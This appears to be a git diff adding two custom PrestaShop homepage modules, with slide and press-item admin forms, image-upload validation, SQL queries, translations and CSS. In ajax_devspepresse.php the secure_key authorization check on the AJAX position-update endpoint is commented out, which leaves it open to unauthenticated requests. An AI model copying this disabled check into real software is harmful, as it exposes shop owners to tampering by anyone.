(Tools::getValue('image2_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image2_'.$language['id_lang']))) + $errors[] = $this->l('Invalid filename'); + if (Tools::getValue('image2_old_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image2_old_'.$language['id_lang']))) + $errors[] = $this->l('Invalid filename'); + } + + /* Checks title/url/legend/description for default lang */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + if (Tools::strlen(Tools::getValue('titrepage_'.$id_lang_default)) == 0) + $errors[] = $this->l('The title is not set.'); + if (!Tools::isSubmit('has_picture1') && (!isset($_FILES['image1_'.$id_lang_default]) || empty($_FILES['image1_'.$id_lang_default]['tmp_name']))) + $errors[] = $this->l('The image is not set.'); + if (!Tools::isSubmit('has_picture2') && (!isset($_FILES['image2_'.$id_lang_default]) || empty($_FILES['image2_'.$id_lang_default]['tmp_name']))) + $errors[] = $this->l('The image is not set.'); + if (Tools::getValue('image1_old_'.$id_lang_default) && !Validate::isFileName(Tools::getValue('image1_old_'.$id_lang_default))) + $errors[] = $this->l('The image is not set.'); + if (Tools::getValue('image2_old_'.$id_lang_default) && !Validate::isFileName(Tools::getValue('image2_old_'.$id_lang_default))) + $errors[] = $this->l('The image is not set.'); + } /* Validation for deletion */ + elseif (Tools::isSubmit('delete_id_slide') && (!Validate::isInt(Tools::getValue('delete_id_slide')) || !$this->slideExists((int)Tools::getValue('delete_id_slide')))) + $errors[] = $this->l('Invalid id_slide'); + + /* Display errors if needed */ + if (count($errors)) + { + $this->_html .= $this->displayError(implode('
          ', $errors)); + return false; + } + + /* Returns if validation is ok */ + return true; + } + + private function _postProcess() + { + $errors = array(); + + /* Processes Slider */ + if (Tools::isSubmit('changeStatus') && Tools::isSubmit('id_slide')) + { + $slide = new Philosophie((int)Tools::getValue('id_slide')); + if ($slide->active == 0) + $slide->active = 1; + else + $slide->active = 0; + $res = $slide->update(); + $this->clearCache(); + $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + } + /* Processes Slide */ + elseif (Tools::isSubmit('submitSlide')) + { + /* Sets ID if needed */ + if (Tools::getValue('id_slide')) + { + $slide = new Philosophie((int)Tools::getValue('id_slide')); + if (!Validate::isLoadedObject($slide)) + { + $this->_html .= $this->displayError($this->l('Invalid id_slide')); + return; + } + } + else + $slide = new Philosophie(); + /* Sets position */ + $slide->position = (int)Tools::getValue('position'); + /* Sets active */ + $slide->active = (int)Tools::getValue('active_slide'); + + /* Sets each langue fields */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + $slide->titrebox1[$language['id_lang']] = Tools::getValue('titrebox1_'.$language['id_lang']); + $slide->titrebox2[$language['id_lang']] = Tools::getValue('titrebox2_'.$language['id_lang']); + $slide->titrebox3[$language['id_lang']] = Tools::getValue('titrebox3_'.$language['id_lang']); + $slide->titrebox4[$language['id_lang']] = Tools::getValue('titrebox4_'.$language['id_lang']); + $slide->blocurl[$language['id_lang']] = Tools::getValue('blocurl_'.$language['id_lang']); + $slide->titrepage[$language['id_lang']] = Tools::getValue('titrepage_'.$language['id_lang']); + $slide->bloctitre[$language['id_lang']] = Tools::getValue('bloctitre_'.$language['id_lang']); + $slide->image1legend[$language['id_lang']] = Tools::getValue('image1legend_'.$language['id_lang']); + $slide->image2legend[$language['id_lang']] = Tools::getValue('image2legend_'.$language['id_lang']); + $slide->blocurltitre[$language['id_lang']] = Tools::getValue('blocurltitre_'.$language['id_lang']); + $slide->info1[$language['id_lang']] = Tools::getValue('info1_'.$language['id_lang']); + $slide->info2[$language['id_lang']] = Tools::getValue('info2_'.$language['id_lang']); + $slide->info3[$language['id_lang']] = Tools::getValue('info3_'.$language['id_lang']); + $slide->box1[$language['id_lang']] = Tools::getValue('box1_'.$language['id_lang']); + $slide->box2[$language['id_lang']] = Tools::getValue('box2_'.$language['id_lang']); + $slide->box3[$language['id_lang']] = Tools::getValue('box3_'.$language['id_lang']); + $slide->box4[$language['id_lang']] = Tools::getValue('box4_'.$language['id_lang']); + $slide->video[$language['id_lang']] = Tools::getValue('video_'.$language['id_lang']); + $slide->video2[$language['id_lang']] = Tools::getValue('video2_'.$language['id_lang']); + $slide->blocdescription[$language['id_lang']] = Tools::getValue('blocdescription_'.$language['id_lang']); + + /* Uploads image and sets slide*/ + $type = strtolower(substr(strrchr($_FILES['image1_'.$language['id_lang']]['name'], '.'), 1)); + $imagesize = array(); + $imagesize = @getimagesize($_FILES['image1_'.$language['id_lang']]['tmp_name']); + if (isset($_FILES['image1_'.$language['id_lang']]) && + isset($_FILES['image1_'.$language['id_lang']]['tmp_name']) && + !empty($_FILES['image1_'.$language['id_lang']]['tmp_name']) && + !empty($imagesize) && + in_array(strtolower(substr(strrchr($imagesize['mime'], '/'), 1)), array('jpg', 'gif', 'jpeg', 'png')) && + in_array($type, array('jpg', 'gif', 'jpeg', 'png'))) + { + $temp_name = tempnam(_PS_TMP_IMG_DIR_, 'PS'); + $salt = sha1(microtime()); + if ($error = ImageManager::validateUpload($_FILES['image1_'.$language['id_lang']])) + $errors[] = $error; + elseif (!$temp_name || !move_uploaded_file($_FILES['image1_'.$language['id_lang']]['tmp_name'], $temp_name)) + return false; + elseif (!ImageManager::resize($temp_name, dirname(__FILE__).'/images/'.Tools::encrypt($_FILES['image1_'.$language['id_lang']]['name'].$salt).'.'.$type, null, null, $type)) + $errors[] = $this->displayError($this->l('An error occurred during the image upload process.')); + if (isset($temp_name)) + @unlink($temp_name); + $slide->image1[$language['id_lang']] = Tools::encrypt($_FILES['image1_'.($language['id_lang'])]['name'].$salt).'.'.$type; + } + elseif (Tools::getValue('image1_old_'.$language['id_lang']) != '') + $slide->image1[$language['id_lang']] = Tools::getValue('image1_old_'.$language['id_lang']); + + /* Uploads image and sets slide */ + $type = strtolower(substr(strrchr($_FILES['image2_'.$language['id_lang']]['name'], '.'), 1)); + $imagesize = array(); + $imagesize = @getimagesize($_FILES['image2_'.$language['id_lang']]['tmp_name']); + if (isset($_FILES['image2_'.$language['id_lang']]) && + isset($_FILES['image2_'.$language['id_lang']]['tmp_name']) && + !empty($_FILES['image2_'.$language['id_lang']]['tmp_name']) && + !empty($imagesize) && + in_array(strtolower(substr(strrchr($imagesize['mime'], '/'), 1)), array('jpg', 'gif', 'jpeg', 'png')) && + in_array($type, array('jpg', 'gif', 'jpeg', 'png'))) + { + $temp_name = tempnam(_PS_TMP_IMG_DIR_, 'PS'); + $salt = sha1(microtime()); + if ($error = ImageManager::validateUpload($_FILES['image2_'.$language['id_lang']])) + $errors[] = $error; + elseif (!$temp_name || !move_uploaded_file($_FILES['image2_'.$language['id_lang']]['tmp_name'], $temp_name)) + return false; + elseif (!ImageManager::resize($temp_name, dirname(__FILE__).'/images/'.Tools::encrypt($_FILES['image2_'.$language['id_lang']]['name'].$salt).'.'.$type, null, null, $type)) + $errors[] = $this->displayError($this->l('An error occurred during the image upload process.')); + if (isset($temp_name)) + @unlink($temp_name); + $slide->image2[$language['id_lang']] = Tools::encrypt($_FILES['image2_'.($language['id_lang'])]['name'].$salt).'.'.$type; + } + elseif (Tools::getValue('image2_old_'.$language['id_lang']) != '') + $slide->image2[$language['id_lang']] = Tools::getValue('image2_old_'.$language['id_lang']); + + } + + /* Processes if no errors */ + if (!$errors) + { + /* Adds */ + if (!Tools::getValue('id_slide')) + { + if (!$slide->add()) + $errors[] = $this->displayError($this->l('The slide could not be added.')); + } + /* Update */ + elseif (!$slide->update()) + $errors[] = $this->displayError($this->l('The slide could not be updated.')); + $this->clearCache(); + } + } /* Deletes */ + elseif (Tools::isSubmit('delete_id_slide')) + { + $slide = new Philosophie((int)Tools::getValue('delete_id_slide')); + $res = $slide->delete(); + $this->clearCache(); + if (!$res) + $this->_html .= $this->displayError('Could not delete'); + else + $this->_html .= $this->displayConfirmation($this->l('Slide deleted')); + } + + /* Display errors if needed */ + if (count($errors)) + $this->_html .= $this->displayError(implode('
          ', $errors)); + elseif (Tools::isSubmit('submitSlide') && Tools::getValue('id_slide')) + $this->_html .= $this->displayConfirmation($this->l('Slide updated')); + elseif (Tools::isSubmit('submitSlide')) + $this->_html .= $this->displayConfirmation($this->l('Slide added')); + } + + private function _prepareHook() + { + if (!$this->isCached('devspephilosophie.tpl', $this->getCacheId())) + { + $slides = $this->getSlides(true); + if (!$slides) + return false; + + $this->smarty->assign('devspephilosophie_slides', $slides); + } + + return true; + } + + public function hookDisplayHome() + { + if(!$this->_prepareHook()) + return; + + // Check if not a mobile theme + if ($this->context->getMobileDevice() != false) + return false; + + // $this->context->controller->addJS($this->_path.'js/jquery.bxSlider.min.js'); + $this->context->controller->addCSS($this->_path.'devspephilosophie.css'); + // $this->context->controller->addJS($this->_path.'devspephilosophie.js'); + return $this->display(__FILE__, 'devspephilosophie.tpl', $this->getCacheId()); + } + + public function clearCache() + { + $this->_clearCache('devspephilosophie.tpl'); + } + + public function hookActionShopDataDuplication($params) + { + Db::getInstance()->execute(' + INSERT IGNORE INTO '._DB_PREFIX_.'devspephilosophie (id_devspephilosophie_slides, id_shop) + SELECT id_devspephilosophie_slides, '.(int)$params['new_id_shop'].' + FROM '._DB_PREFIX_.'devspephilosophie + WHERE id_shop = '.(int)$params['old_id_shop']); + $this->clearCache(); + } + + public function headerHTML() + { + /* + if (Tools::getValue('controller') != 'AdminModules' && Tools::getValue('configure') != $this->name) + return; + + $this->context->controller->addJqueryUI('ui.sortable'); + $html = ' + + + '; + + return $html; + */ + } + + public function getNextPosition() + { + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT MAX(hss.`position`) AS `next_position` + FROM `'._DB_PREFIX_.'devspephilosophie_slides` hss, `'._DB_PREFIX_.'devspephilosophie` hs + WHERE hss.`id_devspephilosophie_slides` = hs.`id_devspephilosophie_slides` AND hs.`id_shop` = '.(int)$this->context->shop->id + ); + + return (++$row['next_position']); + } + + public function getSlides($active = null,$id=1) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id_devspephilosophie_slides` as id_slide, + hssl.*, + hss.`position`, + hss.`active`, + hssl.`bloctitre` as title + FROM '._DB_PREFIX_.'devspephilosophie hs + LEFT JOIN '._DB_PREFIX_.'devspephilosophie_slides hss ON (hs.id_devspephilosophie_slides = hss.id_devspephilosophie_slides) + LEFT JOIN '._DB_PREFIX_.'devspephilosophie_slides_lang hssl ON (hss.id_devspephilosophie_slides = hssl.id_devspephilosophie_slides) + WHERE (id_shop = '.(int)$id_shop.') + AND hssl.id_lang = '.(int)$id_lang. + ($active ? ' AND hss.`active` = 1' : ' ').' + ORDER BY hss.position'); + } + + public function displayStatus($id_slide, $active) + { + $title = ((int)$active == 0 ? $this->l('Disabled') : $this->l('Enabled')); + $img = ((int)$active == 0 ? 'disabled.gif' : 'enabled.gif'); + $html = ''; + return $html; + } + + public function slideExists($id_slide) + { + $req = 'SELECT hs.`id_devspephilosophie_slides` as id_slide + FROM `'._DB_PREFIX_.'devspephilosophie` hs + WHERE hs.`id_devspephilosophie_slides` = '.(int)$id_slide; + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($req); + return ($row); + } +} diff --git a/modules/devspephilosophie/devspephilosophie.tpl b/modules/devspephilosophie/devspephilosophie.tpl new file mode 100755 index 0000000..e69de29 diff --git a/modules/devspephilosophie/images/27bafcac6e4626c225d7ff3d20cf7a9a.jpg b/modules/devspephilosophie/images/27bafcac6e4626c225d7ff3d20cf7a9a.jpg new file mode 100755 index 0000000..8ed2fbb Binary files /dev/null and b/modules/devspephilosophie/images/27bafcac6e4626c225d7ff3d20cf7a9a.jpg differ diff --git a/modules/devspephilosophie/images/28d9da5ba6faddce3723730b389e8c8e.jpg b/modules/devspephilosophie/images/28d9da5ba6faddce3723730b389e8c8e.jpg new file mode 100755 index 0000000..711cdc5 Binary files /dev/null and b/modules/devspephilosophie/images/28d9da5ba6faddce3723730b389e8c8e.jpg differ diff --git a/modules/devspephilosophie/images/44b168dc57f507d007362364a43a5eb8.jpg b/modules/devspephilosophie/images/44b168dc57f507d007362364a43a5eb8.jpg new file mode 100755 index 0000000..711cdc5 Binary files /dev/null and b/modules/devspephilosophie/images/44b168dc57f507d007362364a43a5eb8.jpg differ diff --git a/modules/devspephilosophie/images/46d17917cf73b1563bb0dac6e331a1cb.png b/modules/devspephilosophie/images/46d17917cf73b1563bb0dac6e331a1cb.png new file mode 100755 index 0000000..60af58a Binary files /dev/null and b/modules/devspephilosophie/images/46d17917cf73b1563bb0dac6e331a1cb.png differ diff --git a/modules/devspephilosophie/images/50eb895e1afdb3fd46719cc591374d79.png b/modules/devspephilosophie/images/50eb895e1afdb3fd46719cc591374d79.png new file mode 100755 index 0000000..be25e2e Binary files /dev/null and b/modules/devspephilosophie/images/50eb895e1afdb3fd46719cc591374d79.png differ diff --git a/modules/devspephilosophie/images/5a3069c3c9ada3a3a74bbce0eab2e335.jpg b/modules/devspephilosophie/images/5a3069c3c9ada3a3a74bbce0eab2e335.jpg new file mode 100755 index 0000000..711cdc5 Binary files /dev/null and b/modules/devspephilosophie/images/5a3069c3c9ada3a3a74bbce0eab2e335.jpg differ diff --git a/modules/devspephilosophie/images/7735d61e77bacac583dbaae7a74398a6.jpg b/modules/devspephilosophie/images/7735d61e77bacac583dbaae7a74398a6.jpg new file mode 100755 index 0000000..8ed2fbb Binary files /dev/null and b/modules/devspephilosophie/images/7735d61e77bacac583dbaae7a74398a6.jpg differ diff --git a/modules/devspephilosophie/images/773e90ff7a4a2ad2036f48d0950019b9.png b/modules/devspephilosophie/images/773e90ff7a4a2ad2036f48d0950019b9.png new file mode 100755 index 0000000..6df9f10 Binary files /dev/null and b/modules/devspephilosophie/images/773e90ff7a4a2ad2036f48d0950019b9.png differ diff --git a/modules/devspephilosophie/images/a1a2f7e429065c39fc262e8e04aeaf09.png b/modules/devspephilosophie/images/a1a2f7e429065c39fc262e8e04aeaf09.png new file mode 100755 index 0000000..2303ff1 Binary files /dev/null and b/modules/devspephilosophie/images/a1a2f7e429065c39fc262e8e04aeaf09.png differ diff --git a/modules/devspephilosophie/images/bbd25d48f52e6cf5cd04b121999c4d44.png b/modules/devspephilosophie/images/bbd25d48f52e6cf5cd04b121999c4d44.png new file mode 100755 index 0000000..be25e2e Binary files /dev/null and b/modules/devspephilosophie/images/bbd25d48f52e6cf5cd04b121999c4d44.png differ diff --git a/modules/devspephilosophie/images/bc3d21f304776d048dbf9db16c917b52.png b/modules/devspephilosophie/images/bc3d21f304776d048dbf9db16c917b52.png new file mode 100755 index 0000000..1db31f8 Binary files /dev/null and b/modules/devspephilosophie/images/bc3d21f304776d048dbf9db16c917b52.png differ diff --git a/modules/devspephilosophie/images/cd268be4db2c253d6e092c4ae9097980.jpg b/modules/devspephilosophie/images/cd268be4db2c253d6e092c4ae9097980.jpg new file mode 100755 index 0000000..8ed2fbb Binary files /dev/null and b/modules/devspephilosophie/images/cd268be4db2c253d6e092c4ae9097980.jpg differ diff --git a/modules/devspephilosophie/images/e3a82203cf37e1e89edf123ca462b704.jpg b/modules/devspephilosophie/images/e3a82203cf37e1e89edf123ca462b704.jpg new file mode 100755 index 0000000..711cdc5 Binary files /dev/null and b/modules/devspephilosophie/images/e3a82203cf37e1e89edf123ca462b704.jpg differ diff --git a/modules/devspephilosophie/images/ec1d367a11b1efcd3a1bfd4eaeff3385.jpg b/modules/devspephilosophie/images/ec1d367a11b1efcd3a1bfd4eaeff3385.jpg new file mode 100755 index 0000000..b76dffd Binary files /dev/null and b/modules/devspephilosophie/images/ec1d367a11b1efcd3a1bfd4eaeff3385.jpg differ diff --git a/modules/devspephilosophie/images/f91edc11e2f976bc9ef3f5a6d3e72dc9.jpg b/modules/devspephilosophie/images/f91edc11e2f976bc9ef3f5a6d3e72dc9.jpg new file mode 100755 index 0000000..8ed2fbb Binary files /dev/null and b/modules/devspephilosophie/images/f91edc11e2f976bc9ef3f5a6d3e72dc9.jpg differ diff --git a/modules/devspephilosophie/images/fe8b66b935bce5342edba1d89810f659.png b/modules/devspephilosophie/images/fe8b66b935bce5342edba1d89810f659.png new file mode 100755 index 0000000..ffb47be Binary files /dev/null and b/modules/devspephilosophie/images/fe8b66b935bce5342edba1d89810f659.png differ diff --git a/modules/devspephilosophie/images/index.php b/modules/devspephilosophie/images/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/devspephilosophie/images/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspephilosophie/index.php b/modules/devspephilosophie/index.php new file mode 100755 index 0000000..a230e5a --- /dev/null +++ b/modules/devspephilosophie/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspephilosophie/logo.gif b/modules/devspephilosophie/logo.gif new file mode 100755 index 0000000..e0f9ab6 Binary files /dev/null and b/modules/devspephilosophie/logo.gif differ diff --git a/modules/devspephilosophie/logo.png b/modules/devspephilosophie/logo.png new file mode 100755 index 0000000..909bc17 Binary files /dev/null and b/modules/devspephilosophie/logo.png differ diff --git a/modules/devspephilosophie/translations/en.php b/modules/devspephilosophie/translations/en.php new file mode 100755 index 0000000..0ae77c9 --- /dev/null +++ b/modules/devspephilosophie/translations/en.php @@ -0,0 +1,4 @@ +homeslider_9582801267616d564272ae7a4f622c93'] = 'Carrousel d\'image (slider) pour votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_c17aed434289cedd02618451e12c8da6'] = 'Ajouter un carrousel d\'images à votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_17167898123700e4b4f9bc17c1e0608d'] = 'Configuration du carrousel'; +$_MODULE['<{homeslider}prestashop>homeslider_e933dc24fb245d863a43b4fefe9b45f5'] = 'Hauteur :'; +$_MODULE['<{homeslider}prestashop>homeslider_48ccf48dcf2218a413ce473262f21a0c'] = 'Largeur :'; +$_MODULE['<{homeslider}prestashop>homeslider_2c526c645bca9542ba1598835d46b753'] = 'Vitesse :'; +$_MODULE['<{homeslider}prestashop>homeslider_154e6bcf4e3b49a424323cb9021ef851'] = 'Pause :'; +$_MODULE['<{homeslider}prestashop>homeslider_9ce04a5715756f9c0fece348db9b7da1'] = 'Boucle :'; +$_MODULE['<{homeslider}prestashop>homeslider_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{homeslider}prestashop>homeslider_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{homeslider}prestashop>homeslider_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{homeslider}prestashop>homeslider_571988492824e57070d78e6c86333f20'] = 'Configuration des diapositives'; +$_MODULE['<{homeslider}prestashop>homeslider_02023fc24279454047fd419ecd1db9af'] = 'Ajouter une diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_3f22c758c989513080e13842e1ff70d8'] = 'Vous n\'avez pas encore ajouté de diapositive.'; +$_MODULE['<{homeslider}prestashop>homeslider_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{homeslider}prestashop>homeslider_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{homeslider}prestashop>homeslider_a94c563cb2d2eec9507c6ffeba4659cc'] = 'les modules %s doivent être accessible en écriture (CHMOD 755 / 777)'; +$_MODULE['<{homeslider}prestashop>homeslider_947c5b1ecd3021f44ae45bc176085ae1'] = 'Mettre en ligne votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_a5220b3d801e803e8c4133edcd0dc7b4'] = 'Sélectionner un fichier :'; +$_MODULE['<{homeslider}prestashop>homeslider_2d806bd95ceb6d3166fb5c01d3fb75f0'] = 'Configurer votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_32bd52059351cd9ac4ae44f16746da11'] = 'Modifier votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_51ec9bf4aaeab1b25bb57f9f8d4de557'] = 'Titre :'; +$_MODULE['<{homeslider}prestashop>homeslider_3b3d06023f6353f8fd05f859b298573e'] = 'URL :'; +$_MODULE['<{homeslider}prestashop>homeslider_8046c95f98fc714db47978092bb24264'] = 'Légende :'; +$_MODULE['<{homeslider}prestashop>homeslider_d0042a700e9bdf79689d63ee6846dc0e'] = 'Description :'; +$_MODULE['<{homeslider}prestashop>homeslider_3d091e856cb7615d1ccb96bc759b5a92'] = 'Active :'; +$_MODULE['<{homeslider}prestashop>homeslider_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{homeslider}prestashop>homeslider_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{homeslider}prestashop>homeslider_3f80dc2cdd06939d4f5514362067cd86'] = 'Valeur non valables'; +$_MODULE['<{homeslider}prestashop>homeslider_a6abafe564d3940cc36ee43e2f09400b'] = 'Diapositive non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_b3e3ed438fb0ea2935b3e79eac1f1658'] = 'État non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_57b620e0495c07c15deda4dde882d47b'] = 'Position non valable pour la diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_76ad3ac84a702b0497cd6be8e8886d34'] = 'ID non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_14f09fd0804a8f1cd0eb757125fc9c28'] = 'Titre trop long'; +$_MODULE['<{homeslider}prestashop>homeslider_39fc40a0ebcbfcae901d20ab8980f188'] = 'Légence trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_4477f672766f6f255f760649af8bd92a'] = 'URL trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_62239300ba982b06ab0f1aa7100ad297'] = 'Description trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_980f56796b8bf9d607283de9815fe217'] = 'Format d\'URL incorrect'; +$_MODULE['<{homeslider}prestashop>homeslider_7a92ef6b168d77ebcdad785b01d77a8e'] = 'Nom de fichier non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_349097dadf7e6b01dd2af601d54fd59a'] = 'Titre absent'; +$_MODULE['<{homeslider}prestashop>homeslider_ab53605e4a73424d186afccef7b4bc03'] = 'Légende absente'; +$_MODULE['<{homeslider}prestashop>homeslider_0f059227d0a750ce652337d911879671'] = 'URL absente'; +$_MODULE['<{homeslider}prestashop>homeslider_8cf45ba354f4725ec8a0d31164910895'] = 'Image absente'; +$_MODULE['<{homeslider}prestashop>homeslider_7f82c65d548588c8d5412463c182e450'] = 'La configuration n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_7cc92687130ea12abb80556681538001'] = 'Une erreur est survenue durant l\'envoi de l\'image'; +$_MODULE['<{homeslider}prestashop>homeslider_cdf841e01e10cae6355f72e6838808eb'] = 'La diapositive n\'a pas pu être ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_eb28485b92fbf9201918698245ec6430'] = 'La diapositive n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_5da12d1bb63af9cd5be306102b23e82e'] = 'Diapositive supprimée'; +$_MODULE['<{homeslider}prestashop>homeslider_080b5727c047ef6658591f7d4507e681'] = 'Diapositive mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_bb6abf21a6c70c5740d93093b5518954'] = 'Diapositive ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{homeslider}prestashop>homeslider_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; diff --git a/modules/devspephilosophie/translations/index.php b/modules/devspephilosophie/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/devspephilosophie/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspephilosophie/upgrade2/install-1.2.1.php b/modules/devspephilosophie/upgrade2/install-1.2.1.php new file mode 100755 index 0000000..a79456d --- /dev/null +++ b/modules/devspephilosophie/upgrade2/install-1.2.1.php @@ -0,0 +1,24 @@ +execute(' + UPDATE '._DB_PREFIX_.'homeslider_slides_lang SET + '.homeslider_stripslashes_field('title').', + '.homeslider_stripslashes_field('description').', + '.homeslider_stripslashes_field('legend').', + '.homeslider_stripslashes_field('url') + ); +} + +function homeslider_stripslashes_field($field) +{ + $quotes = array('\'\\\\\'\'', '\'\\\'\''); + $dquotes = array('\'\\"\'', '\'"\''); + $backslashes = array('\'\\\\\'', '\'\\\''); + + return '`'.bqSQL($field).'` = replace(replace(replace(`'.bqSQL($field).'`, '.$quotes[0].', '.$quotes[1].'), '.$dquotes[0].', '.$dquotes[1].'), '.$backslashes[0].', '.$backslashes[1].')'; +} \ No newline at end of file diff --git a/modules/devspepresse/ajax_devspepresse.php b/modules/devspepresse/ajax_devspepresse.php new file mode 100755 index 0000000..34b59a5 --- /dev/null +++ b/modules/devspepresse/ajax_devspepresse.php @@ -0,0 +1,52 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +include_once('../../config/config.inc.php'); +include_once('../../init.php'); +include_once('devspepresse.php'); + +$context = Context::getContext(); +$home_itemr = new Presse(); +$items = array(); +// if (!Tools::isSubmit('secure_key') || Tools::getValue('secure_key') != $home_itemr->secure_key || !Tools::getValue('action')) + // die(1); + +if (Tools::getValue('action') == 'updateitemsPosition' && Tools::getValue('items')) +{ + + $items = Tools::getValue('items'); + + foreach ($items as $position => $id_item) + { + $res = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'devspepresse_items` SET `position` = '.(int)$position.' + WHERE `id_item` = '.(int)$id_item + ); + + } + + $home_itemr->clearCache(); +} + diff --git a/modules/devspepresse/bx_styles.css b/modules/devspepresse/bx_styles.css new file mode 100755 index 0000000..0b80c9a --- /dev/null +++ b/modules/devspepresse/bx_styles.css @@ -0,0 +1,103 @@ +/* @override http://localhost/bxslider_v3_plugin/css/styles.css */ + +/* + * To change the color scheme of slider change each + * background property for each of the five styles below + */ + +.bx-window {margin-bottom:20px;} +.bx-wrapper { + margin-bottom:20px; + height:300px +} + +/*next button*/ +.bx-next { + display:block; + float:left; + position:absolute; + top:0; + right:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_next.png) no-repeat center center; +} + +/*previous button*/ + +.bx-prev { + display:block; + float:left; + position:absolute; + top:0; + left:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_prev.png) no-repeat center center; +} + +/*pager links*/ +.bx-pager { + position: absolute; + bottom: 20px; + bottom:40px !ie;/* hack ie7 */ + right: 15px; + padding-top: 7px; + font-size:11px; + color:#666; + text-align:center; +} +.bx-pager a { + display:inline-block; + zoom:1; + margin-right: 5px; + padding:4px 0 0 1px; + height:16px;/* 19 */ + width:18px;/* 19 */ + font-weight:bold; + font-size: 11px; + color:#000; + text-decoration:none; + background:url(gray_pager.png) no-repeat 0 -20px; +} + +/* + * End color scheme styles + */ + + +/*next/prev button hover state*/ +.bx-next:hover, +.bx-prev:hover { +} + +/*pager links hover and active states*/ +.bx-pager .pager-active, +.bx-pager a:hover { + color:#fff; + text-decoration:none; + background-position: 0 0; +} + +/*captions*/ +.bx-captions { + text-align:center; + font-size: 12px; + padding: 7px 0; + color: #666; +} + +/*auto controls*/ +.bx-auto { + text-align: center; + padding-top: 15px; +} + +.bx-auto a { + color: #666; + font-size: 12px; +} diff --git a/modules/devspepresse/devspepresse.php b/modules/devspepresse/devspepresse.php new file mode 100755 index 0000000..f581f04 --- /dev/null +++ b/modules/devspepresse/devspepresse.php @@ -0,0 +1,819 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + * @version 1.2 (2012-03-14) + */ + +if (!defined('_PS_VERSION_')) + exit; + +include_once(_PS_MODULE_DIR_.'devspepresse/presse.php'); + +class devspePresse extends Module +{ + private $_html = ''; + + public function __construct() + { + 